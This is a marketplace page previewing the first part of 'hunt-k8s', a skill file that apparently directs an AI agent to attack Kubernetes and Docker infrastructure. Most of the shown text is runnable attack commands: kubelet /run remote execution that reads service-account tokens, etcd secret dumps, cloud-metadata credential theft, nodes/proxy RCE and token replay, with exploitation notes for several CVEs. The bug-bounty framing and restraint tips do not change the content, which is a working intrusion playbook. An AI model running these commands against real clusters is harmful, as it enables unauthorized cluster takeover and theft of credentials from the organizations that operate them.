Skip to main content

hunt-k8s

Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts.

Quellinformationen

Repository
elementalsouls/Claude-BugHunter
Letzte Quellaktivität
24. August 2026 um 22:01
Erkannte Sprache von SKILL.md
Englisch
Sterne
4.779
Forks
718

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
hunt-k8s
description
Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts.
sources
hackerone_public, cve_database, kubernetes_security_research, portswigger_research
report_count
13
# HUNT-K8S — Kubernetes & Docker Security ## Crown Jewel Targets K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise. **Highest-value findings:** - **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section). - **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token. - **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector. - **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump. - **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root. - **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root. - **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact. - **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated. --- ## OOB / Confirmation Gate (Read First) K8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.** - A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value. - **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report "kubelet RCE" off a 10255 hit. - **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof. - **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's). - Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop. --- ## Phase 1 — Fingerprint & Port Discovery ```bash # Common Kubernetes / container ports PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010" nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open # API server fingerprint — the /version endpoint is anonymous on most clusters curl -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...} curl -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth curl -sk "https://$TARGET:6443/healthz" # Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold) curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1) TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2 curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE ``` Note the `gitVersion` — it gates every CVE below. --- ## Phase 2 — Kubernetes API Anonymous / Low-Priv Access ```bash SRV="https://$TARGET:6443" # 1. What am I? (anonymous → "system:anonymous") curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \ -H 'Content-Type: application/json' \ -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}' # 2. What can I actually DO? (the only honest privilege check) curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \ -H 'Content-Type: application/json' \ -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}' # 3. Targeted access check for the crown-jewel verbs for R in secrets pods nodes/proxy pods/exec; do curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \ -H 'Content-Type: application/json' \ -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \ | grep -o '"allowed":[a-z]*' | sed "s#^#$R #" done # 4. Only if access review says allowed — read a real Secret to prove impact curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")' # decode one value (redact before reporting): # echo '<base64>' | base64 -d ``` **CVE-2018-1002105** (`gitVersion` < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding. --- ## Phase 3 — Kubelet (Port 10250) — `/run` First, `/exec` Done Right The earlier version of this skill sent `/exec` as a plain `POST` and expected `id` output back. **That is wrong.** `/exec` is a SPDY/WebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `/cri/exec/<token>`) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched. ```bash SRV="https://$TARGET:10250" # Enumerate pods (auth varies; many kubelets allow anonymous read here) curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \ | grep -E '"namespace"|"name"|"containerName"' | head -40 NS=default; POD=target-pod; CTR=app # --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) --- # This is the simple correct primitive. Use this first. curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id" curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" # --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST --- # Option 1: kubeletctl handles the stream transport for you (recommended) # kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS # kubeletctl --server $TARGET scan rce # finds every exec-able pod # Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then # read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.: # curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location # websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>" # Container logs (read-only, no stream) curl -sk "$SRV/containerLogs/$NS/$POD/$CTR" # Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE". curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head curl -s "http://$TARGET:10255/metrics" | head ``` **CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only. --- ## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes/proxy`) When 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes/proxy`, route exec **through the API server**: ```bash SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\"" NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4) # /run via the node proxy → output comes straight back curl -sk -X POST -H "Authorization: Bearer $TOKEN" \ "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id" # enumerate every pod on a node via the proxy curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods" ``` `nodes/proxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource. --- ## Phase 4b — Ingress-NGINX "IngressNightmare" (CVE-2025-1974) An unauthenticated attacker who can reach the ingress-nginx admission controller (`:8443`, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted `AdmissionReview` for an Ingress object -> RCE in the controller pod, whose service account is powerful -> full cluster compromise. Fingerprint controller version (`/healthz`, pod image tag) and map to <1.11.5 / <1.12.1. (CVE-2025-1974 with CVE-2025-1097/1098/24513/24514.) ## Phase 5 — etcd Unauth (Port 2379) ```bash # etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set. ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50 ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \ get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40 # HTTP/JSON gateway (key/range are base64; "Lw==" == "/") curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \ -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool # v2 (older clusters) curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head ``` A recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`/`get` with key data is. --- ## Phase 6 — Service Account Token Abuse (Bound / Projected Tokens) ```bash # From RCE/LFI inside a pod: TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) API="https://kubernetes.default.svc" # Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse. echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool # Look at: "aud" (must match the API server audience to be accepted), # "exp" (projected tokens rotate ~1h — a captured token may already be dead), # "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod). # If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact. # Honest privilege check, then prove with a real read curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}" curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"
Auf GitHub ansehen
Diese SKILL.md ist sehr gross, daher zeigt SkillsMP hier nur den ersten Abschnitt. Auf GitHub ansehen